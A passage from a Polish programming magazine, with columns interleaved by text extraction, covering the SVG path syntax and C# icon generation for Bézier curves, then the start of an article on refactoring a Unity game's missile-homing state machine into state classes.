opublikować wyniki jego badań. Na szczęście jednak Paul de Faget może więc zajść sytuacja, w której efekty działania naszego programu
de Casteljau nie został zapomniany, a to za przyczyną wymyślonego chcielibyśmy zaimportować do takiej aplikacji. Jednym z najprostszych
przez niego bardzo ciekawego algorytmu, pozwalającego na wyzna- sposobów osiągnięcia tego celu jest skorzystanie z otwartego, opartego
czenie punktów krzywej w alternatywny, geometryczny sposób. na XML i szeroko zaimplementowanego formatu SVG, który pozwala
Załóżmy, że mamy dane cztery punkty kontrolne krzywej Bezie- w stosunkowo łatwy sposób zapisać wektorowe obrazy – a co za tym
ra, p1, p2, p3 oraz p4 oraz wartość parametru t, wskazującą na konkret- idzie, również i krzywe.
ny punkt na krzywej, który chcemy wyznaczyć. Przyjrzyjmy się na początku ogólnej strukturze pliku SVG:

<52> { 3 / 2023 < 108 > }


/ Krzywe Béziera /

Listing 6. Prosty plik SVG


H x [x ...] Rysuje poziomą linię rozpoczynającą się od miejsca, w któ-
<?xml version="1.0" encoding="UTF-8" standalone="no"?> h dx [dx ...] rym zakończyło się poprzednie polecenie, do współrzędnej
<svg x wskazanej parametrem. Możliwe jest przekazanie wielu
xmlns="http://www.w3.org/2000/svg" współrzędnych, choć zwykle nie ma to większego sensu
xmlns:svg="http://www.w3.org/2000/svg" V y [y ...] Rysuje pionową linię rozpoczynającą się od miejsca, w któ-
width="32" height="32" viewBox="0 0 32 32" v dy [dy ...] rym zakończyło się poprzednie polecenie, do współrzędnej
version="1.1" id="svg5"> y wskazanej parametrem. Możliwe jest przekazanie wielu
<defs id="defs1" /> współrzędnych, choć zwykle nie ma to większego sensu
<g id="layer1">
<path style="fill:#80a0e0;fill-opacity:1;stroke:none" C x1 y1 x2 y2 x y Rysuje krzywą Béziera trzeciego stopnia. Pierwszym
[...] punktem jest miejsce, w którym zakończyło się poprzednie
d="M 4 4 L 28 4 L 28 28 L 4 28 Z"
id="path2" /> c dx1 dy1 dx2 dy2 dx polecenie, zaś x1 y1, x2 y2 i x y wyznaczają miejsce
dy [...] pozostałych trzech punktów kontrolnych. Co ważne,
</g>
</svg> wszystkie relatywne współrzędne są wyznaczane w stosun-
ku do poprzedniego punktu (a nie względem siebie!)
S x2 y2 x y [...] Rysuje krzywą Béziera trzeciego stopnia. Pierwszym punk-
Sam format jest zaskakująco prosty – przypomina w dużym stopniu s dx2 dy2 dx dy tem kontrolnym jest miejsce, w którym zakończyło się po-
HTML i CSS, tyle że wyspecjalizowany jest oczywiście w kierunku [...] przednie polecenie. Drugi punkt kontrolny wyznaczany jest
jako lustrzane odbicie przedostatniego punktu kontrolnego
zapisywania obrazów wektorowych. Co zainteresuje nas jednak tym poprzedniej krzywej. Jeśli poprzednim poleceniem nie była
razem najbardziej, to specjalny sposób zapisu kształtu widoczny krzywa, drugi punkt kontrolny pokryje się z pierwszym. Dwa
pozostałe punkty kontrolne definiowane są parametrami
w atrybucie d węzła path. Jest to mini-język służący do opisu wek- x2 y2 oraz x y
torowych kształtów, zarówno otwartych, jak i zamkniętych, obecny Q x1 y1 x y [...] Rysuje krzywą Béziera drugiego stopnia. Pierwszy punkt
w wielu różnych miejscach, niekoniecznie związanych z formatem q dx1 dy1 dx dy kontrolny pokrywa się z miejscem, w którym zakończyło
[...] się poprzednie polecenie, zaś dwa pozostałe wskazane są
SVG (jest on na przykład respektowany przez obiekt PathData w ra- przez parametry
mach frameworka WPF). T x y [...] Rysuje krzywą Béziera drugiego stopnia. Pierwszy punkt
Język ten cechują dwa kluczowe aspekty. Po pierwsze, składa się t dx dy [...] kontrolny pokrywa się z miejscem, w którym zakończyło
się poprzednie polecenie, drugi obliczany jest tak samo, jak
on z serii komend, z których każda odpowiedzialna jest za opisanie w poleceniach S i s. Trzeci punkt kontrolny wskazany jest
parametrem
kolejnego elementu kształtu. Po drugie zaś, znany jest on z usankcjo-
A rx ry x-axis-rota- Rysuje fragment łuku eliptycznego do punktu wskazane-
nowania wielu skrótów, by zapewnić maksymalną zwięzłość zapisu. tion large-arc-flag go współrzędnymi x oraz y. Rozmiar i orientacja elipsy
sweep-flag x y [...]
Na przykład ciąg, który nieco bardziej explicite zapisałem w zapre- wskazana jest dwoma promieniami rx oraz ry (środek
a rx ry x-axis- elipsy obliczany jest automatycznie na bazie przekaza-
zentowanym wcześniej przykładzie, można skrócić do M 4 4 28 4 rotation large-arc- nych parametrów). X-axis-rotation określa, o jaki
flag sweep-flag dx
28 28 4 28 Z lub nawet jeszcze krócej, do M4,4H28V28H4Z. dy [...]
kąt obrócona jest oś X elipsy w stosunku do bieżącego
układu współrzędnych. Wreszcie large-arc-flag oraz
Każde polecenie (za wyjątkiem kilku skrótów) zaczyna się literą sweep-flag określają, który z czterech możliwych łuków
określającą rodzaj graficznego składnika, a następnie szeregiem para- ma zostać wybrany (Rysunek 9)

metrów. Wszystkie liczby są traktowane jako zmiennoprzecinkowe,


ze znakiem kropki jako separatora dziesiętnego. Elementy (polecenia
i liczby) mogą być oddzielane spacją lub przecinkiem, ale zgodnie ze
standardem odstępy są obowiązkowe tylko tam, gdzie jest to napraw-
dę konieczne (zwykle gdy mamy obok siebie dwie liczby). W każdym
innym przypadku służą one tylko zwiększeniu czytelności zapisu.
Każde polecenie może być wydane przy pomocy wielkiej lub ma-
łej litery. Wielka litera oznacza, że współrzędne są bezwzględne, zaś
mała – że są przyrostowe w stosunku do miejsca, w którym zakoń-
czyła się ostatnia komenda (dlatego wielkość liter w opisywanych po- Rysunek 9. Działanie parametrów large-arc-flag oraz sweep-flag
(źródło: https://www.w3.org/TR/SVG2/paths.html#DProperty)
niżej poleceniach jest istotna!).
Do dyspozycji mamy kilka klas poleceń. Kontrolne (Mm, Zz), linie
(Ll, Hh, Vv), krzywa Béziera drugiego stopnia (Cc, Ss), krzywa Bézie-
Przykład
ra trzeciego stopnia (Qq, Tt) oraz łuk eliptyczny (Aa).
W kolejności, możemy wydawać następujące polecenia: Zabrałem się ostatnio za standaryzowanie ikon wszystkich moich
aplikacji. Zainspirowałem się znalezionym gdzieś w Internecie ry-
M x y [x y ...] Rozpoczęcie nowego pod-kształtu od zadanych współrzęd-
sunkiem sześciokątów zbudowanych z trójkątów, które tworzą wielo-
m dx xy [dx dy ...] nych. Jeżeli po poleceniu M zostanie wprowadzonych wię-
cej współrzędnych, wszystkie kolejne będą traktowane jako kierunkowe gradienty. Oczywiście dałoby się narysować takie ikony
niejawne polecenia L lub l. Jeśli pierwszym poleceniem w Inkscape, ale zależało mi na tym, żeby wygenerowanie kolejnych
całego kształtu jest m, współrzędne będą traktowane jako
bezwzględne, ale ewentualne kolejne współrzędne będą – dla następnych pisanych przeze mnie aplikacji – zajmowało możli-
traktowane jako niejawne polecenia l wie jak najmniej czasu, więc napisałem program, który buduje je na
Z Zamyka bieżący pod-kształt, łącząc go z jego pierwszym podstawie zbioru parametrów.
z punktem. Ponieważ Z nie przyjmuje parametrów, obie jego
wersje działają tak samo Dla przykładu, poniższy fragment kodu prezentuje generowanie
L x y [x y ...] Rysuje prostą linię rozpoczynającą się od miejsca, ciągu opisującego duży sześciokąt z zaokrąglonymi wierzchołkami,
l dx dy [dx dy ...] w którym zakończyło się poprzednie polecenie, do miejsca który stanowi maskę dla całego obrazu.
wskazanego współrzędnymi

{ WWW.PROGRAMISTAMAG.PL } <53>
ALGORYTMIKA

Listing 7. Automatyczne generowanie wektorowych kształtów p = edges[0].point +


edges[0].span * icon.RoundingEdgeFactor;
private static string BuildRoundedHexagon(IconModel icon)
{ result.AppendLine(FormattableString.Invariant(
StringBuilder result = new(); $"{p.X},{icon.Height - p.Y} Z\""));
result.AppendLine($" id=\"path{idGenerator++}\" />");
Vector2 start = icon.Start.AsVector;
Vector2 span = icon.End.AsVector - icon.Start.AsVector; return result.ToString();
Vector2 horizontal = span / 2.0f; }
Vector2 upwards = horizontal.RotateLeft(60);
Vector2 downwards = horizontal.RotateRight(60);
Końcowy efekt działania całego programu – nową ikonę mojej apli-
List<(Vector2 point, Vector2 span)> edges = new();
edges.Add((start, downwards)); kacji Dev.Editor – możemy zobaczyć na Rysunku 10.
edges.Add((edges.Last().point + edges.Last().span,
horizontal));
edges.Add((edges.Last().point + edges.Last().span,
upwards));
edges.Add((edges.Last().point + edges.Last().span,
-downwards));
edges.Add((edges.Last().point + edges.Last().span,
-horizontal));
edges.Add((edges.Last().point + edges.Last().span,
-upwards));

result.AppendLine($" <path style=\"fill:#ffffff;" +


"fill-opacity:1;stroke:none\"");
result.Append(" d=\"");

Vector2 p;

for (int i = 0; i < edges.Count; i++)


{
var current = edges[i]; Rysunek 10. Kształty wygenerowane z poziomu aplikacji C#
var next = edges[(i + 1) % edges.Count];

if (i == 0)

NA KONIEC
result.Append("M ");

p = current.point +
current.span * icon.RoundingEdgeFactor;
result.Append(FormattableString.Invariant( W świetle faktu, iż większość szanujących się bibliotek graficznych
$"{p.X},{icon.Height - p.Y} ")); pozwala na renderowanie krzywych Béziera, zasadnym jest zadać so-
if (i > 0) bie pytanie, czy implementowanie ich od zera ma jakikolwiek sens.
result.Append("L ");
Odpowiedzią jest bodaj najbardziej uniwersalne stwierdzenie
p = current.point +
w świecie IT: to zależy. Jeśli chcemy tylko renderować krzywe otwarte
current.span * (1.0f - icon.RoundingEdgeFactor);
result.Append(FormattableString.Invariant( lub zamknięte, prawdopodobnie nie ma większego sensu zaprzątać
$"{p.X},{icon.Height - p.Y} "));
sobie głowy implementowaniem wszystkiego od początku. Czasa-
result.Append("C "); mi jednak krzywych Béziera możemy chcieć użyć do innych celów
p = current.point + niż tylko rysowanie rastrowych obrazów: w takim przypadku warto
current.span * (1.0f -
icon.RoundingControlPointFactor); przyswoić sobie nieco matematycznych podstaw i wykorzystać ten
result.Append(FormattableString.Invariant( wszechstronny matematyczny konstrukt, by znacząco ułatwić sobie
$"{p.X},{icon.Height - p.Y} "));
pracę. Otwartą opcją pozostaje również skorzystanie z gotowych me-
p = next.point +
next.span * icon.RoundingControlPointFactor; chanizmów – jak format SVG i język opisu wektorowych kształtów
result.Append(FormattableString.Invariant( – by zrealizować najtrudniejszą część operacji przy pomocy napisa-
$"{p.X},{icon.Height - p.Y} "));
} nego przez siebie programu, a resztę pracy wykonać w dedykowanej,
przeznaczonej do tego aplikacji.

WOJCIECH SURA
wojciechsura@gmail.com
Programuje 30 lat, z czego 15 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane – pisane w C#,
C++, Javie, Delphi, PHP, JavaScript i w jeszcze kilku innych językach. Obecnie pracuje w SII – największym w Polsce dostawcy
usług doradztwa technologicznego, transformacji cyfrowej, Business Process Outsourcing i inżynierii.

<54> { 3 / 2023 < 108 > }


INŻYNIERIA OPROGRAMOWANIA

Historia jednego refaktora


Refaktoryzacja jest jedną z umiejętności, bez których dobry programista po prostu nie może
się obyć. Przekształcenie źle napisanego kodu na taki, który jest czytelny, modularny i łatwy
w rozwoju, niesie ze sobą praktycznie same zalety. Refaktoryzacji najłatwiej jest jednak uczyć
się na przykładzie, więc przyjrzymy się dziś, w jaki sposób został zrefaktoryzowany fragment
mojego starego projektu.

public void IncrementPulseCounter()


STAN RZECZY {
PulseCounter = (PulseCounter + 1)
% SeekFrameSkip;
Ponieważ w ostatnim czasie przydarzył mi się nagły i niespodzie- }
}
wany napływ wolnego czasu, postanowiłem wznowić jeden z moich
starych pet-projektów: grę budowaną na silniku Unity. Całą zabawę [SerializeField]
private RadarGuidanceParameters
zacząłem od przeglądnięcia wszystkich skryptów: po pierwsze, aby radarGuidanceParameters =
new RadarGuidanceParameters();
przypomnieć sobie architekturę projektu, zastosowane w nim roz-
wiązania i zaimplementowaną już logikę, a po drugie, żeby przy oka- private Mobile mobile;
private MobilityParameters mobilityParameters;
zji trochę posprzątać. private ObjectNavigator objectNavigator;
private Launchable launchable;
I oto podczas analizy natknąłem się na następującą klasę:
private OperatingMode operatingMode;
Listing 1. Pierwotna wersja klasy ChaserNavigationAi private BaseModeData data;

using Assets.Scripts.Features; // Use this for initialization


using System.Collections; public void Awake()
using System.Collections.Generic; {
using UnityEngine; mobile = GetComponent<Mobile>();
using Assets.Scripts.Maths; mobilityParameters =
using System.Linq; GetComponent<MobilityParameters>();
using Assets.Scripts.Tools; objectNavigator =
using Assets.Scripts; GetComponent<ObjectNavigator>();
using Assets.Scripts.Models; launchable =
using Assets.Scripts.Features.Mobility; GetComponent<Launchable>();
namespace Assets.Scripts.Features operatingMode = OperatingMode.Seeking;
{ data = new SeekingModeData();
[RequireComponent(typeof(Mobile))] }
[RequireComponent(typeof(MobilityParameters))]
[RequireComponent(typeof(ObjectNavigator))] // Update is called once per frame
[RequireComponent(typeof(Launchable))] public void FixedUpdate()
public class ChaserNavigationAi : MonoBehaviour {
{ if (operatingMode == OperatingMode.Seeking)
private const int SeekFrameSkip = 10; {
var seekingData = (SeekingModeData)data;
private enum OperatingMode
{ if (seekingData.PulseCounter == 0)
Seeking, {
Homing var target = TargetingSystems
} .Radar
.SeekForTarget(mobile,
private abstract class BaseModeData launchable,
{ transform,
} radarGuidanceParameters);

private class HomingModeData : BaseModeData if (target != null)


{ {
public HomingModeData(GivesRadarEcho target) operatingMode = OperatingMode.Homing;
{ data = new HomingModeData(target);
Target = target; return;
} }
else
public GivesRadarEcho Target { get; set; } {
} seekingData.IncrementPulseCounter();
}
private class SeekingModeData : BaseModeData
{ // Fly forward
public int PulseCounter { get; private set; } var decision = NavigationAlgorithms
.ForwardAcceleration(
public SeekingModeData() mobilityParameters);
{ objectNavigator.Navigate(decision);
PulseCounter = 0; }
}

<56> { 3 / 2023 < 108 > }


/ Historia jednego refaktora /

else jej towarzyszące, aby zaimplementowany tu mechanizm stał się ła-


{
seekingData.IncrementPulseCounter(); twiejszy w rozwoju i bardziej czytelny.
}
}
else if (operatingMode == OperatingMode.Homing)
{
LOGIKA
var homingData = (HomingModeData)data;
Pierwszym krokiem do przeprowadzenia dobrej refaktoryzacji jest
if (homingData.Target.gameObject != null &&
TargetingSystems zrozumienie, jaką logikę implementuje dany fragment kodu. Oczy-
.Radar wiście i bez tego można przeprowadzić niektóre statyczne refakto-
.TargetStillInRange(mobile,
launchable, ryzacje (choćby na przykład te, które podpowiada środowisko pro-
homingData.Target, gramistyczne lub narzędzia pokroju ReSharpera), ale efekty – choć
transform.position,
radarGuidanceParameters)) być może pozytywne – będą przynajmniej o rząd gorsze od tego, co
{ osiągniemy, wiedząc, nad czym dokładnie pracujemy.
var decision = NavigationAlgorithms
.ForwardChaser( Dlaczego tak myślę? Znajomość logiki oznacza wiedzę na temat
homingData.Target
wymagań wobec danego fragmentu kodu. Wymagania implikują z ko-
.transform.position,
mobilityParameters, lei konkretne rozwiązania, które w danym miejscu powinniśmy zasto-
mobile,
transform.position);
sować. Wreszcie skonfrontowanie rozwiązań, które powinny były zo-
stać zastosowane z rozwiązaniami, które zostały zastosowane, pokazuje
objectNavigator.Navigate(decision);
return; nam, jakie zmiany musimy wprowadzić, żeby doprowadzić implemen-
}
tację do satysfakcjonującego stanu. Powinno dać to nam również ob-
// One of conditions was not met - raz skali zmian: pod pojęciem „refaktoryzacja” może kryć się bowiem
// losing target, returning to seeking
operatingMode = OperatingMode.Seeking; zarówno zmiana nazw kilku metod i zmiennych, jak i również meta-
data = new SeekingModeData(); foryczne zrównanie z ziemią całego modułu i przepisanie go od nowa.
}
} To jeszcze nie wszystko. Aby refaktoryzacja była bezpieczna, mu-
}
}
simy mieć gwarancję, że kod, który pozostawimy, będzie funkcjonal-
nie tożsamy z kodem, który zastaliśmy. Najprostszym sposobem na
osiągnięcie takiego stanu rzeczy jest oczywiście uruchomienie testów
Spędziłem dobrą godzinę, przenosząc kod, wprowadzając nowe klasy, jednostkowych, które zarówno przed wprowadzonymi przez nas
zmieniając nazwy typów, robiąc architekturalne eksperymenty i ogól- zmianami, jak i po nich, powinny dać taki sam, pozytywny wynik.
nie sprzątając ten dosyć krótki fragment kodu, aby osiągnąć zadowa- W naszej analizie temat testów jednak pominiemy, a to z kilku
lający efekt. Gdy jednak skończyłem pracę, doszedłem do wniosku, powodów.
że zarówno cały proces myślowy, jak i też warsztat programistycz- Najbardziej banalny z nich jest taki, że w opisywanym przeze
ny, którego musiałem użyć do wprowadzenia zmian, stanowi dobry mnie projekcie testów po prostu nie ma. Przyczyna jest dosyć pro-
przykład, jak można pracować ze starym kodem. sta – w przypadku pet-projektów czas na nie poświęcony jest bardzo
Postaram się więc opowiedzieć teraz, w jaki sposób zrefaktoryzo- kosztowny, bo jest to mój czas wolny, którego nie mam zbyt wiele.
wałem kod, jakie decyzje podjąłem i jaka była moja motywacja. Mogąc więc poświęcić godzinę czy dwie na rozwój projektu, wolę
zaimplementować do niego dodatkową funkcjonalność, niż napisać

PROBLEM testy (choć nie jest to też reguła, wiele prywatnych projektów – szcze-
gólnie gdy dotyczą one przetwarzania danych – mam dosyć solidnie
Pierwszy i bodaj największy problem odkryłem, gdy rozejrzałem się po przetestowanych). Inną sprawą jest też fakt, iż te konkretne klasy, nad
katalogu, w którym znajdowała się klasa ChaserNavigationAi. Zna- którymi będziemy zaraz pracować, bez dodatkowych refaktoryzacji
lazłem tam bowiem dosyć szybko drugą klasę, CollisionCourse- całej architektury, znacznie łatwiej jest przetestować funkcjonalnie
NavigationAi, która w dobrych 60-70% zbudowana była w dokład- niż jednostkowo, o czym zaraz się przekonamy. I wreszcie na koniec
nie taki sam sposób, jak ta pierwsza. Oprócz nich znalazłem jeszcze zależy mi teraz najbardziej na przedstawieniu samego procesu refak-
jednego kandydata, klasę DumbfireNavigationAi, która wprawdzie toryzacji oraz towarzyszącego mu procesu myślowego.
implementacyjnie różniła się od dwóch pozostałych, ale należała do Dodam jeszcze, że choć testy jednostkowe są świetnym narzę-
tej samej grupy algorytmów, co jednak w żaden sposób nie wynikało dziem, dzięki któremu łatwiej utrzymać jest wysoką jakość kodu, cza-
z jej kodu. sami może zdarzyć się, że po prostu nie da się ich zastosować. Mimo
Sama klasa ChaserNavigationAi też pozostawia trochę do życze- wszystko pisany kod musi w pewnym stopniu umożliwiać jednostkowe
nia. Przede wszystkim mamy tu do czynienia z oczywistą maszyną stanu, testowanie. Jeżeli na przykład występują w nim takie konstrukcje, jak
zaimplementowaną jednak przy pomocy mało estetycznej ifologii. Me- singletony, silne powiązanie typów, wykorzystywane są też często klasy
toda FixedUpdate jest też długa, co zmniejsza jej czytelność (jej nazwa i metody statyczne, to napisanie testów, które będą naprawdę jednost-
wynika z wymagań Unity). Nie wspominając już o tym, że nie ma mowy kowe (a czasami również testów jako takich), graniczy z cudem.
o jakiejkolwiek reużywalności kodu wchodzącego w skład tej klasy. Podsumowując, jeżeli tylko napisanie testów jednostkowych
Jak więc widać, jest tu trochę do posprzątania. Zobaczmy teraz przed wprowadzeniem zmian do kodu jest możliwe, bezdyskusyjnie
krok po kroku, w jaki sposób można zrefaktoryzować tę klasę i klasy powinniśmy to zrobić. Czasami jednak tak nie jest – nie jest to sytu-

{ WWW.PROGRAMISTAMAG.PL } <57>
INŻYNIERIA OPROGRAMOWANIA

acja idealna, ale w takich przypadkach możemy przynajmniej zasto-


MASZYNA STANU
sować kilka technik, które zminimalizują ryzyko wprowadzenia do
kodu regresji. Przede wszystkim posprzątajmy trochę w konstrukcji maszyny stanu.
Implementacja stanów zawarta jest w ciągu instrukcji warunkowych,

NO WIĘC… LOGIKA więc ewentualne dodawanie kolejnych stanów będzie wymagało modyfi-
kacji i tak już długiej metody. Żeby trochę zwiększyć czytelność kodu, na
Istnieją dwa podstawowe sposoby zdobywania wymagań bizneso- początku przenieśmy przynajmniej implementację stanów do osobnych
wych. Pierwszy z nich polega na pozyskaniu dokumentacji projekto- metod. Szczęśliwie obie z nich nie korzystają z żadnych zmiennych lokal-
wej – czy to w formie papierowej, elektronicznej czy choćby poprzez nych, więc możemy je po prostu przenieść jeden do jednego.
rozmowę z osobą odpowiedzialną za wymagania danego fragmentu
Listing 2. Ekstrakcja metod z metody FixedUpdate
aplikacji. Drugim sposobem jest wykonanie analizy wstecznej, czyli
próba odzyskania logiki biznesowej z samego kodu – przy odrobi- private void HandleSeeking()
{
nie szczęścia powinny wystarczyć nam nazwy klas i metod, a czasem // (...)
nawet litościwie pozostawione przez poprzednich programistów }

komentarze. Jeśli natomiast nie jest to możliwe, to pozostaje zawsze private void HandleHoming()
{
mozolne przeglądanie algorytmów i struktur danych, aby odtworzyć // (...)
wiedzę na temat ich przeznaczenia oraz wzajemnych powiązań. }

Nie ma sensu udawać, że w przypadku zaprezentowanej klasy public void FixedUpdate()


{
taka analiza jest potrzebna, bo po pierwsze nazwy składowych są if (operatingMode == OperatingMode.Seeking)
dosyć dobrze dobrane, a po drugie – jako pomysłodawca – siłą rze- {
HandleSeeking();
czy mam pełną wiedzę na temat logiki obecnej w moim projekcie. }
Przejdźmy więc do rzeczy. Co robią wspomniane wcześniej klasy? else if (operatingMode == OperatingMode.Homing)
{
ChaserNavigationAi odpowiedzialna jest za realizowanie funk- HandleHoming();
}
cjonalności naprowadzania rakiet przy pomocy algorytmu tzw. naiw-
}
nego pościgu – rakieta próbuje cały czas dolecieć najkrótszą trasą do
miejsca, w którym w danym momencie znajduje się jej cel. Dla od-
miany CollisionCourseNavigationAi realizuje to zadanie w znacz- Jest lepiej, ale musimy jeszcze włożyć pracę w to, by maszyna stanu
nie sprytniejszy sposób, starając się zbudować ze swoim celem kurs stała się trochę bardziej podatna na zmiany.
kolizyjny. W rzeczywistości rakiety takie jak AIM-9 Sidewinder ko- Jej implementacja opiera się na dwóch polach: wartości wylicze-
rzystają z metody proporcjonalnej nawigacji, ale ja poszedłem trochę niowej operatingMode, określającej, który stan jest w tym momencie
na skróty, przekazując algorytmowi bieżące położenie w przestrzeni aktywny, oraz polu data, zawierającym dane specyficzne dla bieżące-
i wektor ruchu jego celu (których informacji prawdziwe rakiety oczy- go stanu. Mamy więc do czynienia z sytuacją „splątanych” pól – war-
wiście nie mają). Na koniec DumbfireNavigationAi – jak można się tość jednego jest silnie zależna od wartości drugiego. Wadą takiego
łatwo domyślać – kieruje rakietę prosto do przodu. rozwiązania jest podatność na rozspójnienie – możemy na przykład
Naprowadzanie rakiety – w przypadku mojej gry – zaimplemen- omyłkowo zmienić stan, ale zapomnieć zaktualizować jego dane, co
towane jest w postaci maszyny stanu. Pierwszym stanem jest poszuki- najprawdopodobniej doprowadzi do błędu. Oczywiście taki błąd pro-
wanie celu. Algorytm co 10 klatek przeszukuje pewien obszar pola gry gramisty można łatwo naprawić, ale znacznie lepiej jest przekonstru-
w poszukiwaniu obiektu lub obiektów, które generują radarowe echo. ować architekturę rozwiązania tak, by nie mógł on w ogóle wystąpić.
Jeżeli obiekty takie zostaną odnalezione, jeden z nich wybierany jest Najprostszym rozwiązaniem jest scalenie obu pól w jedno: będzie
jako cel, a wtedy algorytm przełącza się na drugi stan, którego zada- ono jednocześnie określało bieżący stan, jak i zawierało wszystkie po-
niem jest kierowanie pociskiem. Może się zdarzyć, że rakieta zgubi cel trzebne do jego prawidłowej pracy dane. Efektywnie oznacza to więc
(ten może na przykład schować się za asteroidą). Wówczas algorytm enkapsulację stanu do klasy; skoro jednak wiemy już, że będziemy
przełącza się na powrót na pierwszy stan, aby odnaleźć nowy cel. mieli klasę per stan, być może warto również przenieść tam imple-
Cała matematyka zaszyta jest w osobnych, statycznych klasach (dla- mentację logiki danego stanu? W ten sposób możemy dosyć eleganc-
tego też trudno jest ten algorytm przetestować jednostkowo) i ogólnie ko pozbyć się serii instrukcji warunkowych z metody FixedUpdate.
działa, więc nie musimy się nią na razie przejmować. Wśród zmian, które musimy teraz wprowadzić, warto kilka
Mechanizm namierzania celu opatrzony jest explicite przedrost- wyróżnić.
kiem „Radar”, z czego można wysnuć spekulację, że w przyszłości Po pierwsze – i to bardzo ważne – zmieniamy nazwy klas, które
może pojawić się więcej ich rodzajów. I faktycznie, przewiduję wpro- przechowywały do tej pory dane stanów. BaseModeData zamienimy
wadzić również naprowadzanie na podczerwień i jeszcze kilka innych teraz na BaseState i analogicznie postąpimy z pozostałymi klasami.
sposobów (gracz będzie musiał wybrać ten, który w danej sytuacji W ten sposób nazwa klasy będzie bardziej precyzyjnie odzwiercie-
ma najwięcej sensu). Dobrze byłoby więc zadbać o to, by kod namie- dlała, jakie jest jej przeznaczenie.
rzający cele, ale też naprowadzający na nie rakietę, był modularny. Po drugie, znika zupełnie wewnętrzny typ wyliczeniowy Oper-
Wiedząc, co robią klasy, nad którymi będziemy pracować, może- atingMode. Usuwamy też niepotrzebne już pole operatingMode, zaś
my już ostrożnie zacząć wprowadzać w kodzie zmiany. pole data zamieniamy na state.

<58> { 3 / 2023 < 108 > }


/ Historia jednego refaktora /

Po trzecie, przenosimy logikę stanów ze stworzonych wcześniej else


{
metod do wnętrza klas obsługujących stany. Ponieważ operują one na IncrementPulseCounter();
instancji klasy ChaserNavigationAi, musimy ją teraz instancjom sta- }

nów przekazać – w przeciwnym wypadku nie będą one w stanie pra- // Fly forward
var decision = NavigationAlgorithms
widłowo funkcjonować. Pola mobile, mobilityParameters, z których .ForwardAcceleration(
korzysta logika stanów, możemy natomiast pozostawić prywatne, bo navigationAi.mobilityParameters);

klasy stanów są wewnętrznymi klasami ChaserNavigationAi, czyli navigationAi.objectNavigator.Navigate(decision);


}
mają dostęp do jej wszystkich składowych. else
Po tych zmianach metoda FixedUpdate głównej klasy radykalnie {
IncrementPulseCounter();
się uprości, bo zaledwie do pojedynczej linijki kodu. }
}
Listing 3. Zamykamy stany w wewnętrzne klasy
public void IncrementPulseCounter()
public class ChaserNavigationAi : MonoBehaviour {
{ PulseCounter = (PulseCounter + 1) % SeekFrameSkip;
// (...) }
}
private abstract class BaseState
{ // (...)
public abstract void UpdateFixed( public void FixedUpdate()
ChaserNavigationAi navigationAi); {
} state.UpdateFixed(this);
private class HomingState : BaseState }
{ }
public HomingState(GivesRadarEcho target)
{
Target = target;
} Już teraz, nawet gdy refaktoryzacja nie została jeszcze zakończona,
public override void UpdateFixed( mamy kilka pozytywnych efektów. Przede wszystkim o połowę zma-
ChaserNavigationAi navigationAi) lała długość najdłuższej metody w tym pliku. Po drugie zaś, stany są
{
if (Target.gameObject != null && teraz klasami, co bardzo upraszcza dodawanie kolejnych – gdyby tyl-
TargetingSystems.Radar.TargetStillInRange( ko zaszła taka potrzeba.
navigationAi.mobile,
navigationAi.launchable, Nie rozwiązaliśmy jeszcze jednak wszystkich problemów orygi-
Target, nalnej implementacji. Weźmy więc na warsztat kolejny z nich, czyli
navigationAi.transform.position,
navigationAi.radarGuidanceParameters)) powielanie kodu.
{
var decision = NavigationAlgorithms.
ForwardChaser(Target.transform.position,
navigationAi.mobilityParameters, USUWANIE ZDUPLIKOWANEGO KODU
navigationAi.mobile,
navigationAi.transform.position); Implementacja klasy CollisionCourseNavigationAi – tu musicie
navigationAi.objectNavigator.Navigate(decision); mi uwierzyć na słowo – w jakichś 70% pokrywa się z klasą, nad któ-
return;
}
rą do tej pory pracowaliśmy. W szczególności oba algorytmy mają
taki sam mechanizm wyszukiwania celów i mniej więcej tę samą
navigationAi.state = new SeekingState();
} maszynę stanów, a różnią się tylko sposobem naprowadzania, czyli
public GivesRadarEcho Target { get; set; } – w naszym przypadku – implementacją metody UpdateFixed dla
} stanu HomingState.
private class SeekingState : BaseState Pokrywanie się funkcjonalności jest w każdym przypadku wyraź-
{
public int PulseCounter { get; private set; } nym sygnałem, że warto jakąś część kodu uogólnić. Tym razem nie
będzie to jednak takie proste. Wypiszmy więc wszystkie potencjalne
public SeekingState()
{ problemy i spróbujmy zmierzyć się z nimi jeden po drugim.
PulseCounter = 0;
}

public override void UpdateFixed( Dostępność klas


ChaserNavigationAi navigationAi)
{
if (PulseCounter == 0)
Obie opisane klasy współdzielą część stanów. Ponieważ jednak przy-
{ gotowane przez nas klasy są wewnętrznymi klasami ChaserNaviga-
var target = TargetingSystems.Radar
.SeekForTarget(navigationAi.mobile, tionAi, siłą rzeczy nie będziemy mogli użyć ich w innej klasie. Pro-
navigationAi.launchable, blem ten możemy jednak rozwiązać na kilka sposobów.
navigationAi.transform,
navigationAi.radarGuidanceParameters); Najprostszym z nich jest oczywiście odziedziczenie Collision-
CourseNavigationAi po ChaserNavigationAi, a potem zmiana
if (target != null)
{ widoczności klas z prywatnych na chronione. W porządku: pozwoli
navigationAi.state = new HomingState(target);
return; to na korzystanie z nich w CollisionCourseNavigationAi, ale jed-
} nocześnie doprowadzi do tego, że hierarchia klas nie będzie odzwier-

{ WWW.PROGRAMISTAMAG.PL } <59>
INŻYNIERIA OPROGRAMOWANIA

ciedlała prawdziwych zależności pomiędzy nimi, a to już stanowi Najpierw więc wprowadzamy interfejs IStateDataProvider, któ-
problem. ry zawierać będzie wszystkie składowe potrzebne stanom do prawi-
Możemy do sprawy podejść trochę inaczej, wyciągając z Chaser- dłowej pracy.
NavigationAi klasę bazową – powiedzmy BaseNavigationAi – a na-
Listing 4. Interfejs IStateDataProvider
stępnie umieszczając współdzielone klasy stanów w tej właśnie klasie
bazowej. public interface IStateDataProvider
{
Jest to kuszące rozwiązanie. Jestem dużym miłośnikiem ścisłego RadarGuidanceParameters RadarGuidanceParameters { get; }
ograniczania widoczności składowych klasy, tak aby były dostępne Mobile Mobile { get; }
MobilityParameters MobilityParameters { get; }
tylko i wyłącznie tym fragmentom kodu, które ich naprawdę potrze- ObjectNavigator ObjectNavigator { get; }
Launchable Launchable { get; }
bują. Stany naszej maszyny stanu są jej wewnętrznymi mechanizma- Transform Transform { get; }
mi, a prawdopodobieństwo, że będziemy chcieli ich użyć gdzieś poza }
tą klasą, jest śladowe.
